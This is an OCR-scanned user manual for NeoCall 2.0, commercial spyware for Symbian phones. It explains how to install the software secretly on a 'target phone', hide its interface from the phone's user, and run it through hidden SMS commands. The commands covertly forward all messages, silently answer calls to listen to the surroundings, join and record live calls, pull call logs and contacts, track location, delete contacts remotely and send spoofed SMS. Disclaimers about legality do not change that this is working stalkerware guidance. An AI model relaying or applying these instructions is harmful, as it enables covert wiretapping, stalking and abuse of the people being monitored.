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Preface

NEOCALL INTERNATIONAL LTD'’s ltems are intended to be used only in private
environment in order to protect personal goods.

An illegal use of our products may be persecuted by your Country Laws.

NEOCALL INTERNATIONAL LTD is not responsible for ev___ery use not
allowed by the Law

Please read carefully this user guide before use NeoCall

Neocall International Ltd doesn’t encourage the imp roper use of their
products.

By purchasing and using NeoCall, Final User is the only responsible of the
use of NeoCall and agree with Legal Descalimer with no riserve.

Welcome to NEO-CALL Software which offers a full range of mobile
security applications for your Symbian mobile phone. NEO-CALL
Software provides you up with Parental Control, Phone Activity
Monitoring, Robbery Insurance and Survival Kit. Your important
SMS/MMS, emails and contacts are also under control if your mobile get
stolen. NEO-CALL Software uses True Direct Push technology, so there
is no need for server synchronization and no delay in getting the latest
information.

NEO-CALL provides secure, real-time, wireless access to Child’s phone
or any phones under your authority through your Parental Control Panel.
This guide provides information for managing and using a mobile device
running NEO-CALL Software.

This introduction includes the following sections:
Audience
Related Documentation
Documentation Feedback

Supported Phones




Audience

This guide is intended for end users accessing the mobile phone of their
Children or their own mobile phone data using NEO-CALL Software.
Assuming that, you have a mobile phone with a valid SIM card and you
are familiar with using this device.

Wireless access is optional.

Related Documentation

The NEO-CALL document set includes the following documentation:

NEO-CALL™ Software Suite 1.0 User Guide for Symbian  S60
- provides instructions on how to use Software with Nokia
Symbian Series 60 devices.

NEO-CALL™ Software Suite 1.0 User Guide for Symbian  S80
- provides instructions on how to use Software with Nokia
Symbian Series 80 devices.

For further information, please visit www.Neo-CALL.com.

Documentation Feedback

The NEO-CALL Technical Publications department welcomes your
feedback. Please help us improving future releases of this document by
sending your comments and suggestions to helpesk@neo-call.com.

Supported Phones

Mobile phone with Symbian operating System (7/8/9.x)
Windows mobile: actually in beta version
Blackberry: actually in beta version

Iphone: actually in beta version

For a complete list of supported device, please vis it

www.neo-call.com

NeoCall International Ltd



New features

WARNING!

Some features may interfere with Personal Privacy and may be protected by
Country Laws

Neocall Internation Ltd IS NOT responsible for illegal use by Customers.

You have to agree our Legal Disclaimer BEFORE using NeoCall software and
other features.

NeoCall 2.0 contains a lot of new interesting features. As a result of
many years of Research & Development and customer’s feedback new
release is more stable and performing than the older one.

New features are:
Neo-Phone Dead
Neo-GPS

Fixes and improvements to ALL the previous features

In this user guide you will find more details about purpose and instruction
in order to get best user’s experience.

If you want to be always updated about NeoCall World please visit our
website at www.neocall.it _and register yourself to our newsletter.

NEO-CALL Software Suite 2.0 User Guide 7






Chapter 1l:Introducing NEO-CALL

Installation Package

NEO-CALL Software for devices running Symbian OS7/8/9.x such as
Nokia N95 is delivered as a standard Symbian installation file. You can
recognize the file by the .SIS extension. The name of the installation file
for UIQ devices includes characters ‘UIQ'.

Prerequisites for Installation

In order to use the NEO-CALL Software services you must have the
following:

An appropriate OS7/8/9.x device such as Nokia N95.

For a list of supported devices please contact your NEO-CALL
reseller. Full supported phones’ list is available at
http://www.neo-call.com

The installation package for the NEO-CALL Software for devices
running the Symbian operating system 7/8 is delivered as a
standard installation (.SIS) file. This file should be obtained by
directly by NeoCall or NEO-CALL reseller.

Free Trial version also available on http://www.neo-call.com

Network Connections (Optional)

Your mobile device may have a working GPRS connection or a GPRS
APN (Access Point Name) configuration that connects directly to the
Internet. In that case you could download the software from the internet

You can verify your connection by opening a web page (not a wap page)
on your device. If you can download the page, there will be no need to
configure the APN.

NOTE!

Please, consult your operator for actual GPRS costs  , both in
your home network and in roaming. To provide true L IVE
experience the NEO-GPRS feature on the Target phone  use
GPRS connection open to the Internet. The GPRS conn  ection
is automatically initiated at a defined interval.

You can skip this step if you don’t have a GPRS con  nection.







Chapter 2: Installation and Activation

This chapter describes how to install the NEO-CALL Software application
on your mobile device and how to activate it. Note that only one device
can be used for each Activation Code. if you wish to switch it onto a new
device, you will need a new activation code.

There is a new HELP section in our website, where you can see the
step-by-step procedure with some video tutorial

Installation of Neo-CALL software

Please follow these steps to install NEO-CALL Software onto your

11

mobile device:

1. Copy the NEO-CALL Software installation package (.SIS file) to
the device. There are several ways to do this:

a.

d.

send it over a Bluetooth connection from your PC (make
sure Bluetooth is enabled both on the sending and
receiving device)

store it onto a memory card which can be read by the
device itself

cable installation using your device management
software (the cable usually comes with the device)

sending it by infrared using your PC

2. Start the Client installation and press install. Locating the file
depends on where the file has been stored when transferring:

a.

if you sent the file on your phone via Bluetooth or
infrared, it should appear in the Message inbox or you
can press view immediately upon receipt

if you have the file on the memory card or transferred it
via cable, open File Manager program and locate the file
on the memory card

3. If you receive a message about supplier's verification, ignore it
and select Yes.

4. Select the language to be used (this option is visible only if your
installer package contains several languages).



5. Start installation by selecting Ok.

6. If you have a memory card, you will be prompted to select the
memory type to install the application. Select “Ph.mem.”

7. Read the license term, and press Yes.

You will receive a confirmation message stating that the installation is
completed.

Activating Neo-CALL Software

After installation is complete, you can reboot the phone (or wait for
about 2 minutes). You will need to configure your Predefined
Number, in order to do that, you will need another mobile phone to
send the following command by SMS to the phone on which you
installed the software (Target Phone):
#password#<sms>+new_number_in_international_format

How to Use GUI Control Panel

The new Neo-Call 2.0 release includes 2 useful features to help you

during configuration and tuning-up process.

There are 2 GUI type (GUI = Graphical User Interface):

1) Neo-CONTROL Target phone GUI: it starts the first time after
you reboot target phone

2) Neo-CONTROL PDN GUI: it helps you to send text commands in
a user-friendly mode (without having to type complex
commands)

Neo-CONTROL (Target phone GUI)

Once installation process if finished on the target phone, reboot the
device and you will see an intuitive tool which allows you to configure
and tune-up the software. At this step you can:

1. Verify your License status

2. Modify the default password (from #123# to a user-preferred
one);

3. Change PDN number

4. Set an email address where you want to receive the log and
other info (applicable only for the features that supports
email function);

5. Set the SMS filter rule ;

6. Set the Bluetooth hardware (applicable only for features that
supports the BT function)

When you reboot the target phone for the first time, a GUI will appear
on the display. Click Options to enter the menu:

12 NeoCall International Ltd



Mwiew -
®F onrGURATION GUT ©
For your information:

This application wlll make use

of the following featuras of
yaur phane,

1L meean g
{ 8

&

License Status
Authorized Sim
Settings
Uninstall

Exit

If you want to verify your license status, Select LICENSE STATUS:

MyView -
3 " CONFIGLRATION GUT O
For your information:

This application will make use

of the following features of
yaur phaone.

TLm SRRp g

1 spyCall
2 DialBack

S Tt [ B PRt P

License Status

Life Time :

AUTHORIZED SIM contains the IMSI code of authorized SIMs that
can view target phone GUI (Note: DO NOT add the target phone SIM
otherwise the target user will see the GUI!). You can add a new SIM

whenever you want.:
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Authorized 5im o

1:2220198 3

In the SETTINGS menu (the “centre” of the GUI) you can view and
edit target phone settlngs

H ‘erew '_T

Settings

Password :
#O000#

PASSWORD: this is the code that target phone checks to verify PDN
identity. It must includes “#"symbol

URL: please, DO NOT modify this line

EMAIL: insert an email address if you want to receive the log and
data directly in your mailbox (available only with some features)

MASTER No: this is PDN (Pre-Defined Number). It will show the
number you keyed in while placing your order. Verify it and change if
necessary. If you want to change it, you will see the following
screenshot:

14
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Add Master No.

123

NUMBER LEN: the minimum length digit sender must have. For
example, all SMS’s sent by a phone number starting with 0 digit, will
not be forwarded to the PDN.

BT-ADDRESS: this is PDN Bluetooth Hardware Address (available
only with features that requires BT)

: MyView s
= Settings 0
Email :
mail@yourmail xxx
Master No:

4393210123456

BT Address :

001122334455

When all settings have been checked, click BACK to return to the
main menu

If you want to uninstall Neo-CALL, from target phone click
UNINSTALL:
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Mwiew e
CONFIGLRATION GUI 0
For your information:

This application wlll make use

of the following featuras of
yaur phone,

1 meeen g

=

License Status
Authorized Sim
Settings
_u = LETTAEY

Now select EXIT.

The GUI will ask you if you want to add the SIM on the phone to the
authorized SIM’s list. If the target SIM is inside the phone, click NO.
If you are using other SIM and you want to add iton the list, click
YES. Authorized SIMs will be able to run target GUI whenever you
turn on the phone

z MyView T
= & ' CONFIGLRATION GUI O

For your information:

This application will make use
ofthe following features of
yaur phone.

i

1 spyCall
21 DialBack

Sl Parm e

Message:

Do you want to add this SIM
to the authorized SIMs list?

YES: the sim inside the phone is authorized to run GUI when you

turn on the phone
NO: the sim inside IT'S NOT authorized to run GUI (i.e. you are

setting up the phone with target sim inside)

After your click, you will be redirected to main menu of the phone:

NeoCall International Ltd



smeeng i
T |

Mo 15/12/2008
8. %
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L search: Internet and My content

(1" Mo calendar entries today
1 WLAN scanning off

1

51 4 TARGE Tphone
pm

Neo-CONTROL (PDN GUI)
this software must be installed on PDN Phone!

This tool has been introduced since release of the 2.0 version. If you
don’t want to write complex text command, this GUI will help you for
your NeoCall experience: click function you want to activate, wait for
confirmation message and...use it! This control panel support ALL
Java for Mobile Edition devices (existing on almost ALL mobile
phone available on the market)

In this section you will see how to:
1. Install the Control Panel;
2. Set up
3. Activate/Deactivate NeoCall functions.

IMPORTANT: Neo-Control must be installed on PDN phone in order
to control the target phone without sending complex SMS commands

manually.

URL: please don't edit this line

After you have transferred Neo-CONTROL installation file on PDN
device (via USB cable, Bluetooth, ... as previously specified) you will
see the installation message as below:
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Installer -

ﬁi 0

i il "
4 meey

1)

- +447939533298
Hello.it has been long tim...

22333 aT7connorc

Install ?}
Neo-CONTROL? LY

Select YES to start Neo-Control installation

Install it on the PHONE MEMORY (DO NOT use the Memory
Card):

- Installer T
fi! 0

Hmeens|

Install 15 kB to:

Phone memory

90384 kB

i Memory card
| tesa0n ke

Please wait a few seconds for completing the installation process:
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S il

—ﬁii Installer
}

e

smeenn]

5

1 +447939533298
Hello.it has been long tim...

T AAnABYOTEoOARDOr

Installing %

Now Neo-CONTROL is ready to be used. To run it, go to:
APPLICATION > Neo-CONTROL:

Meg-CONTROL

Please write target phone number ( the number you want to

control).

19
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Click OPTIONS and then OK to go on:

) Entertarget phone

Q number

+393210123456

& pE
D el

Lm e

:

‘Add from Contacts

Insert your password WITH #. If it has not been changed, use the
default password:

20
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Select OK and go to the next step. There is the main menu view.
Choose the feature you want to use and choose SELECT (if you
want more information about the features, please see Setting
NeoCall section):

NEO-SECRET KEY and NEO-PASSCODE are not available at
this moment

Ex. How to activate Neo-SMS feature

NEO-CALL Software Suite 2.0 User Guide
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Choose Neo-SMS > Neo-SMS Activate

g #Smeclﬂeuﬂpﬁnn
™

#

Neo-SMS Activate
Neo-SMS De-activate
Neo-SMS Change PDN

Select SEND and you will see a confirmation message: select YES

to confirm request send.

Neo-CONTROL

LmreeeEl|

<

Neo-SMS De-activate

Blaa CME Flu=mwmes~ MK

Neo-CONTROL

Allow application
Neo-CONTROL to send
text message to
+3932101234567

[

o el

~la

L1

Now Neo-Control will send a message to the target phone, that will
reply with a confirmation message (please wait few minutes before
get the reply; target phone must be in a GSM covered areal)

22
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IMPORTANT!

Activation Code includes device manufacturer, mode | and IMEI code. If you want
to view your device’s IMEI code, type: *#06#

IMEI target code must be the same of IMEI code you use when bought the
NeoCall Software

PDN (Pre-Defined Number) must be correct and includ ing the country
code (in order to get Activation Confirmation SMS e  ven if target phone is
abroad)

Date/Time Settings: you have to set the correct dat e and time in order to
install NeoCall software on target phone

Default password is #123#; if you want to change it , type:
#123#001/#NewPassword# (where #123#is the old passw ord and
#newpassword# is the new password). Don't forget # _ key

NEO-CALL Software Suite 2.0 User Guide
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Chapter 3: Settings and Tools

T HEGTRAY
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Before getting started with NeoCall, please check PDN setup by first-
installation GUI or by this sms command:

#123#<sms>PDNPhoneNumber (with country code)

The NEO-CALL Software application has been designed to perform all
basic configurations itself during the installation and activation. This
chapter describes in detail which kind of settings and tools you can use
to help make use of the services efficiently, also optimize your mobile
newly granted capacities and event handling experience. The settings
and tools are explained in this chapter.

R means sms reply to a specified command

Neo-TRAX
Localization Feature

Neo-TRAX allows the location and determine the position of the terminal
with our software installed through GSM cells present in the area where
it is located. The software allows you to obtain 2 types of locating a
Normal and Advanced which are respectively given information BTS
(Cell BroadCast) and detailed information of the cell.

NORMAL MODE - Information BTS (Cell Broadcast) :

Neo-TRAX mode detects and sends information upon request, a
message containing exact location where the phone on which the
software has been installed

Example Sms Neo-TRAX Normal Mode : Location : Rome Colosseum
time 12.26

ADVANCED MODE - Detailed information GSM cell :



In advanced mode Neo-TRAX forward upon request (by hidden SMS) of
all data relating to the cell at that specific moment where the phone is
covered are :

- CelllD (Base station identity )
- LAC (Location Area Code)
- MNC (Mobile Network Code)
- MCC (Mobile Contry Code)

Example Sms Neo-TRAX Advanced Mode:
Location : 15497 - 35977 - 07 - 444

Neo-TRAX, after activating the application by SMS command, start to
make the detection of cell data and the user, by sending the command to
the target phone receives in response by SMS data relating to Cell GSM
where the phone is.

WARNING: Only few operators allows you to carry out advanced

location, with the data obtained by the software you can perform a more
detailed localization. These databases are most accessible to the Police
Force, Military and/or those authorized, our company does not have it
and is not authorized to sell this type of database.

SMS Commands Available:
Neo-TRAX Activation : #password#300

- Esemnpio

P—:C"‘,"_‘ s @ [:j

NS5

.

~a
Text message *
E R

7 1) = Abe 0
To! TARGET PHONE N* |

7| |Jrizasa00 -

e ]

R  Command Received: TRAX = ON

Neo-TRAX De-activation : #password#301
R Command Received: TRAX = OFF

Neo-TRAX normal location : #password#302
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| “ Text message

(1] =aabcl

#123#303

R  (cell id, location area network, ...)

PDN Setting:

#123#<sms>+cc_PDN (where +cc = country code)

R Command Received: New PDN = (new_PDN_Phone_Number)

Neo-LIST

Calling List Feature

Neo-LIST is the application that deals with the list of calls MADE,
RECEIVED and MISSED on the target phone, Neo-LIST records all
phone numbers with relative time and length of the call and are sent
upon request through SMS

To use Neo-LIST, after activating the application through the appropriate
command (see list commands) from that moment on, the application will

NEO-CALL Software Suite 2.0 User Guide 27



start to record each call Missed / Received / Dialled, then sending an
SMS command to phone Target (SMS commands are always Hidden)
you will receive in a few seconds an SMS to the default number
containing a list of calls you can check.

WARNING: The software should be activated to work properly otherwise
the numbers of calls will not be recorded. The software does not record
calls made or received by hidden numbers.

SMS Commands Available:
Neo-LIST Activation : #password#400

R  Command Received: List = ON

Neo-LIST De-activation : #password#401

" Textmessage 79
> o

28
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R  Command Received: List = OFF

Neo-LIST Missed calls : #password#402

R (missed call list)

Neo-LIST Received calls : #password#403

R (received call list)

NEO-CALL Software Suite 2.0 User Guide
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Neo-LIST Dialled calls : #password#404

R  (dialed call list)

Neo-LOG&MAIL
Data Log Feature

Neo-LOG & MAIL allows you to record all the SMS’s received and sent;
as a hidden text file format inside the phone, (including the phone
numbers) as well as the entire call log. You could eventually read the file
content directly on the target phone, simply by installing FEXPLORER a
free software, or you can transfer the file using a Bluetooth connection to
email.

NEW VERSION (Only for Symbian OS 9.x Mobile Phones) gives you
the following possibilities:

Receive the log directly at your email address.

Request the log by email where ever you are with using the
Bluetooth utility.

SMS Commands Available:

Neo-LOG Activation : #password#500

30
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Before you start writing the text file onto the phone, you should have
activated the command line (see list of Commands). As from that
moment the software start to build up the file in a hidden directory and it
is not accessible without the assistance of the software’s FEXPLORER
(0S7/8), SEXPLORER (0S9), Both file are freely downloadable.

Neo-LOG & MAIL continues to amend the file until it has been
transferred via Bluetooth or email (please note a GPRS connection is
necessary).

ATTENTION : As soon as the transfer has initiated, whether the process
has been or not completed correctly, the file will be deleted from the
phone.

When this happen, it would be necessary reactivating the NEO-LOG &
MAIL to start generating the file with a new log again. To start
transferring the file using Bluetooth, the target phone should have the
Bluetooth connection activated, otherwise it will not be done. Please note
that if you will use this type of connection you need to paired both
devices as shown below.

Neo-LOG De-Activation : #password#501

To configure Neo-LOG & MAIL it is essential to have following data’s
which should be sent by SMS like the image below:

Bluetooth hardware address of the target phone (see below how
to obtain it)

Email address where the messages should arrive*
The name of the text file to be registered

An active GPRS connection on the target phone**

* The email messaging is applied only for mobile phone with Symbian
0Ss9

** Attention: Bear in mind that a GPRS connection is necessary to
forward the file by email. The WAP configuration is normally automatic,
depending on the Operator. Anyway it is good to note that if the SIM card
is substituted the connection may alter and the system will stop
functioning.

WARNING: GPRS (General Packet Radio Service) link is required for
the file transfer; the connection charge for the total of bytes transmitted
and that cost is debited from the account of the target phone.

Normally the software will send a text file as an attachment. Some
providers also give a total amount of bytes transfer periodically. Please
check with the target phone service provider

Neo-LOG Activation: #password#500

NEO-CALL Software Suite 2.0 User Guide 31



R  Command Received: Log = ON

Neo_LOG De-Activation: #password#501
R Command Received: Log = ON

Get Installed sim IMSI code: #password#702

R (IMSI information)

Neo-LOG Activation Data sent via email: #password#8 00

Neo-LOG De-Activation Data sent via email: #passwor  d#789

32
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Neo-LOG Bluetooth Code : #password#502 (to get the  file by BT)
R  (log file)

Neo-LOG Change predefined email address:

#password#<email>newMailAddress

To change the Bluetooth address send the command below:

Neo-LOG Bluetooth h/w address replacement:
#password#<bluetooth>bluetooth h/w address

The best way to find out what is BT address for your mobile if *#2820# or
*#bt2# does not work is the following:
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1) Turn on Bluetooth

2) Make a pair between mobile with any computer which is Bluetooth
enable

3) Go to "My Bluetooth places" in computer (by my computer>My
Bluetooth places)

4) Click on "Search for device in the range" (you should see name of
your mobile in this list if it's in the range and if its Bluetooth is on)

5) Right click on the name of your mobile in this list and go to "properties"
6) You will see the device address on the screen

For example "Device Address 00:0e:ed:b3:al:e9".
NB. Remove all “:’ so it will look like this: 000eedb3ale9 (this your
Bluetooth address)

Neo-SMS
SMS/MMS Feature

Neo-SMS is the application that deals with intercepting and forwarding to
the default number all incoming and outgoing SMS sent to and from the
Target phone, SMS are forwarded with the text of SMS and the number
from which it was received or from whom it has been sent.

Activate Neo-SMS: #password#100

R Command received: Sms = ON

De-activate Neo-SMS: #password#101

R Command received: Sms = OFF

New PDN setup: #password#<sms>+newPDN

R Command received: New PDN = newPDN_Number

34
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Lenght filter for sender incoming message:: #passwo rd#<plen>x

R Command received: Sms filter = (x = 1, 2, ...)

NEW FEATURE (CHARGED-BY-CALLER SMS) : Now Neo-SMS
allows you the charged-by-caller feature! Target phone will send ALL
sms notify for free (all costs will be redirected to the Pre-Defined
Number). This feature is not available for all Country Provider! Please
contact your provider for further info

Receive a copy of any incoming and outgoing SMS to the predefined
number without any log in sent items.

Neo-Call software with SMS Forwarding feature will send to the
predefined number a copy of any SMS received or sent by the Target
Phone.

There is only one case where the Target Phone will not forward an
incoming SMS to the predefined number, and this only happens when it
is the predefined number who sent a SMS to the target phone, here we
are assuming that you are the owner of the SMS and therefore you do
not need to get a copy of your own SMS sent to Target Phone. In all
others case, for any SMS sent or received by the Target Phone from any
phone number in the world, it will be forwarded without logs to the
predefined number.

All others SMS will be forwarded from the Target Phone to the
Predefined Number without any log in Sent Items.

SMS Filter value allows you to set a minimal phone number length. if a
SMS is sent(or received) to(or from) a phone number which total digits
length is under the filter value it will be excluded from the forwarding
rules. Example: If you set the filter to 7, and you got an incoming SMS on
the Target Phone from a service provider or advertising message from
commercial source with short number like 123 or 222555. They won't be
forwarded because they are respectively 3 and 6 digits length which
inferior to value 7.

The purpose of this setting is to cut cost on forwarding useless SMS.
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However we recommend that you use Neo-SMS with an unlimited SMS
subscription or with free monthly credits.

Providers like TIM.IT offers service where SMS are  billed to the
recipient! Neo-Call offers full support with TIM.IT SMS service.

Remote Activation could also help to get more control onto the Target
Phone's SMS bill.

SMS Commands Available:

Neo-SMS Activation : #password#100

Neo-SMS De-activation : #password#101

Neo-SMS number replacement : #password#<sms>+new nu  mber

Neo-SMS filter number length (don't forward SMS if less) :
#password#<plen>+new integer

SMS-BLOCK allows you to INTERCEPT/DELETE and KILL any
incoming SMS before it gets loaded or produce a ring.

SMS-BLOCK is working at the lowest possible level ensuring a perfect
interception of unwanted SMS.

Using SMS-BLOCK, you will be able to subscribe to prepaid SMS
service such as TIM.

The cost of forwarded SMS will then be billed to your TIM account and
not the TP SIM-CARD anymore.

It means that you can have a real trace/cost free software even if the
TP's SIM-CARD doesn't have UNLIMITED SMS or special SMS
subscription!

When you are using such service as TIM to prepaid SMS credit, TIM will
give you a special Prefix to add before your number, after each SMS
sent, the TP will get a confirmation SMS.

Using Neo-CONTROL you can change the PDN number to include the
SIM prefix.

Using SMS-BLOCK you can send secret command to intercept
upcoming TIM confirmation

Activation of SMS-BLOCK: #pwd#666/TEXT
De-Activation of SMS-BLOCK: #pwd#667

Ex: in case of TIM, all confirmation SMS are including "TIM 4888" in the
beginning of their message body. You will then use #pwd#666/TIM to
intercept any SMS that begin with "TIM"

Neo-SIM
Change SIM notification Feature

Neo-SIM is a really useful application combined with other software such
as Neo-PHONE, Neo-LIST, Neo-INTERCEPTOR. It always lets you
know if you replaced the SIM and then changed the number in the Target
phone. In fact using Neo-SIM it is possible to know which SIM card
number is in the target phone and then send messages without risking
command. Acquiring Neo-SIM is highly recommended because it
prevents SMS commands to be sent to a different number that could be
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included in phones without Neo-CALL software installed, making all sent
SMS visible to the user.

You can use Neo-SIM in two different ways after having activated it :

1. Sending alerts when there is a change of SIM

2. Sending alerts when the phone is switched on

In the first case the target phone sends an SMS from the target phone to
default number using the new SIM inserted and indicates the serial
number of old and the new card, if the software detects that this has
been changed.

In the second case, when activate, Neo-SIM sends data to the default
number each time the target phone is turned off and then on.

WARNING: The software should be activate to function otherwise we
can not be able to receive any natification from the target phone.

Neo-SIM must be activated by SMS text command (these commands are
hidden for target phone). Once you have activated it, Neo-SIM will run in
background and monitor every time someone swap the SIM. Once a SIM
is replaced, you will receive a text message with IMSI code. You can
find how to use this feature in the description below

SMS Commands Available:

Neo-SIM Activation - #password#777 (By defaulton S im
replacement)

R Command received: Sim on Change = ON

Neo-SIM At Boot up - #password#<sim>888 (You can se tthe
software to send SIM info at every Boot Up)
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R

Command received: Sim on Boot = ON
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Neo-PHONE?2 2.0
Environmental Listening Feature

The new 2.0 release contains a lot of improvements like compatibility
with 9.x Symbian device and more stable and performing than older
version (no more crashes after few minute! )

The mobile will covertly answer the incoming call from the pre-defined
number and will allow the pre-defined number to listen into the
immediate surrounding in real time where the target is at that specific
moment. Neo-PHONE? set a new standard for the definition of
"spyphone" software.

Technically Neo-PHONE? received the expertise of our last 2 years of
development.

Neo-PHONEZ? owners are able to perform perfect 2 ways Spy Calls.
- Classic Spycall : PDN call TP secretly
- Spycall/back : TP call PDN secretly

This new version is more efficient than the previous one: it runs only
when needed by PDN user. You can listen to the immediate surrounding
only when you want (you will get always a SMS notification before calling
target phone).

What happens when you use it:

1. PDN User sends a hidden SMS to the target phone in order to
activate NeoPhone

2. target phone receives the activation command
target phone checks if someone are using the phone

4. if not, target phone sends a SMS to the PDN and says “I'm
ready, call me”

5. PDN user calls target phone and starts to listen

Call-Back function to the PDN means that target phone calls PDN
secretly (calling costs will be decreased FROM target).

What happens when you use it:

1. PDN User sends a hidden SMS to the target phone and specify
how many seconds target phone will have to wait before calling

2. target phone receives the activation command

3. target phone starts the countdown and then call back the PDN

WARNING: If you use classic Spycall PDN phone will pay the call; if you
use call back function, instead, target phone will pay the call

Latency Time: once you stop the environmental listening, you have to
wait few seconds in order to let target phone go back to normal standby
state
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Activate Neo-Phone: #password#210

R  Command received: Neo-Phone = ON

De-activate Neo-Phone #password#211

R  Command received: Neo-Phone = OFF

Call/BACK command: #pwd#204 (/time which is optiona )

R  Command received: Wait dial back. Alternate number =
OtherNumber

If you send #pwd#204 by default the TP will wait 60sec of User Inactivity
time before calling back.

If you specify an User Inactivity Time such as 10sec : #pwd#204/10

Then the call back will be made by the TP to the phone which had send
the message after 10sec of User Inactivity Time. The Magic Number is
taken from the number who sent the command by SMS.

Spy/CALL command: #pwd#205/magicnumber
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R I have received your request for spy mode. Now it is active

The magic number is needed. When you send it the software looks for a
sequence of digits in the incoming calling number to activate the
software. Example, if your phone no is +27839876543 then you would
send #password#205/839876543 (do not include the country code and
remove any zero at the beginning) then the call will be automatically
answered for any number that has a sequence 839876543. If you send
#password#205/76543 then any number that has the sequence of 76543
will be answered.

On previous Neo-PHONE you were able to call at any time. On this
version you first have to send a SMS command. It has been added as a
security, once you send the SMS command, the software will wait for
User Inactivity Time and will answer back by SMS and the call can be
established in safe conditions. Once you receive the SMS confirmation,
you can call the TP secretly. Be sure that the phone is switched ON!

Neo-RECORD
Sound Recording function

Record phone conversation or “on air” sounds and transfer back by
Bluetooth to the pre-defined number without any log in sent items folder
(like it happens with Neo-LOG). You can listen this audio file when you
want (Recording time depends on target phone’s memory)

Neo-RECORD must be activated every time you want to record a
conversation and store this audio file in target phone memory

What happens when you use it:
1. activate Neo-RECORD with a SMS command

2. Neo-RECORD runs until target phone make the first call
(ingoing/outgoing)

3. software starts recording until it ends
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4. Target phone saves and stores the file in its memory
5. PDN can send a SMS to get the file via Bluetooth (or other)

6. Audio Files on the target has been deleted after transfer

WARNING: target phone must have Bluetooth enabled, or you will not be
able to transfer the file; Both phone must be paired before file transfer.

SMS Commands Available:
Activate Neo-Record: #pwd#202

R  Command received: Neo-Record = ON

De-activate Neo-Record: #pwd#211

R Command received: Neo-Record = OFF

Record Command: #pwd#206

R Command received: Record = ON

Record call from a specific number: #pwd#206/Number

R Command received: Record = ON, Phone = Number

After the above command is sent, the recorder software will be active for
the next call (made or received). After that call is over the application
automatically stops untill another command is sent. To retrieve the
recorded call conversation use the Bluetooth SMS command:
#pasword#503

This feature is at a first beta release stage and more improvements will
be added in the future.

The "BEEP" sound has not been removed while recording up to now.
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Neo-RECORD Bluetooth Code: #password#503 (to retrie  ve the
conversation)

1) Reboot your phone
2) Wait 120sec

3) Make a call to a third party, or send or received sms from/or third
party.

4) Send #pwd#<bluetooth>your Bluetooth address => Enter as follows
00128a45e55 no ":" and all lower case.

To get the Bluetooth address try *#2820#, *#232337# or *#bt2#.
5) Turn Bluetooth ON on both phones
6) Send #pwd#502

The best way to find out what is BT address for your mobile (if *#2820#,
*#232337# or *#bt2# does not work) is as follows:

1) Turn on Bluetooth

2) Make a pair between mobile with any computer which is Bluetooth
enable

3) Go to "My Bluetooth places" in computer (by My computer>My
Bluetooth places)

4) Click on "Search for device in the range" (you should see name of
your mobile in this list if it's in the range and it's Bluetooth on)

5) Right click on the name of your mobile in this list and go to
"Properties”

6) You will see the device address on the screen

For example "Device Address 00:0e:ed:b3:al:€9". NB. Remove all
colons in between the numbers and letters “’ so it looks like the following
000eedb3ale9 (this your Bluetooth address)

IF both phones were paired before, file will transfer immediately after
confirmation on PDN. IF not, you will have to pair device, and file will
transfer right after. Once you have send the BT address , you don't need
to send it again next time. Once you have paired both Phone, you don't
need to do it again next time.

Neo-INTERCEPT
Call Intercept feature

Allow user to listen the on going phone conversation at real time,
requires "call waiting" option to be activated on target phone. Neo-
INTERCEPT make you the “third” listener to every Call.

When you want to use this feature, you have to activate it by an SMS
command. This feature is simple to use, but you need to fully understand
it in order to get the best performance.

Things you have to know BEFORE using it:

1. enable “call waiting” feature on target phone

NEO-CALL Software Suite 2.0 User Guide 43



2. check if mobile provider supports conference call (or you won't
be able to use this feature); you may need to activate this feature
by calling provider’'s Call Center

3. You CANNOT use Neo-Phone and Neo-Intercept at the same
time
4. when you join the conversation, your mic is active! So disable

your mic. Use this feature when you are in a comfortable and
silent place

Please note that intercept feature is illegal in ma____ny countries.
NeoCall International Ltd and NeoCall are not respo _ nsible for non-

legal use

What happens when you use it
1. PDN sends an activation command to the target phone

2. As soon as target phone makes/receives a call, it will send an
SMS to the PDN and says “I'm ready to receive your call”

3. PDN can now call target without being viewed and join the
conversation

WARNING: When Neo-INTERCEPT is running, you cannot use any
other feature at the same time until target phone is rebooted.

HOW TO ENABLE CALL WAITING: if you want to use Neo-
INTERCEPT you have to enable call waiting feature on target phone.
You have to follow these steps (please see target phone user guide for
further details):

TOOLS > SETTINGS > CALL FEATURES > CALL WAITING

If you want to check if call waiting is still enabled, choose VERIFY
STATUS in the previous menu

SMS Commands Available:

Activate Neo-interceptor: #password#200

R Command received: Neo-Interceptor = ON
De-activate Neo-Interceptor: #password#201

R Command received: Neo-Interceptor = OFF

Neo-Interceptor Command: #pwd#207/number (/number i s optional)
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/number represents the phone number with country code from which
user needs to intercept the incoming/outgoing call made.

Example: +27823456789
Command: #pwd#207/+27823456789

Neo-Interceptor (only from ONE specified number):
#password#207/PhoneNumber

R Command received: Neo-Interceptor = ON

Neo-Intercept De-Activate: #password#208

R Command received: Neo-Interceptor = OFF

DO NOT SEND any other SMS command for the call applications till any
call got intercepted or phone rebooted. l.e. Once interceptor is activated,
you can send any secret commands to retrieve the call list, location... but
not for call/back, spy/call or recorder.
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Neo-VirtualSMS
Fake SMS sending feature

Fake SMS sender

This is a new feature that allows you to send customized sms: you can
change sender number and create fake sms. Text message will be
delivered as it was written by the fake sender (so it may be different than
the real sender)

Send Virtual SMS: #password#<vs>FakeSender/TextMessage

After that, click on SEND button on your phone (like it was a standard
SMS). Target phone will receive fake sms (with the text you wrote in the

body):
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When target phone user click on it (like a classic received SMS), will see
this:

NOTE: FAKESENDER and FAKESMS are set as example (you can write
whatever hame you want)

Neo-CONTACTS 2.0

Remote Contact List Management feature

This is a new feature that send target phone’s Contact List to a specified
mailbox. Once you get the Contact List you will be able to completely
manage it remotely (add/edit/delete ALL contacts)

This feature is a main part of Neo-LOG&MAIL about sent data
management. See Neo-LOG&MAIL description for further details

Activate Neo-Contact: #password#900

R  Command received: Neo-Contact = ON
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De-activate Neo-Contact: #password#904
R Command received: Neo-Contact = OFF

Search a contact in Address Book and send it to PDN

#password#901/PhoneNumber

R  (info about contact entry requie)

Delete a contact entry and send to PDN:
#password#902/PhoneNumberToDelete

R Entry Deleted “NumberToDelete”  (if found on target phone)

R Number not found (if not found on target phone)

Add/Edit concact entry:
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#password#903/PhoneNumber

R Entry added “NumberToAdd”  (if found)

R Number not found (if not found)

Neo-GPS 2.0
Geolocating with GPS (only on phone with GPS on-boa  rd)

Neo-GPS it's a brand new feature that allows you to geolocalyze target
phone (with Latitude and Longitude), if target phone has a GPS chip on-
board. You can get LAT-LON data and put into Google Maps, so you are
able to see where is your phone.

Neo-GPS runs in ridde-mode and can work both with the other NeoCall
features.

WARNING: uses target phone internal GPS chip : as alla GPS-based
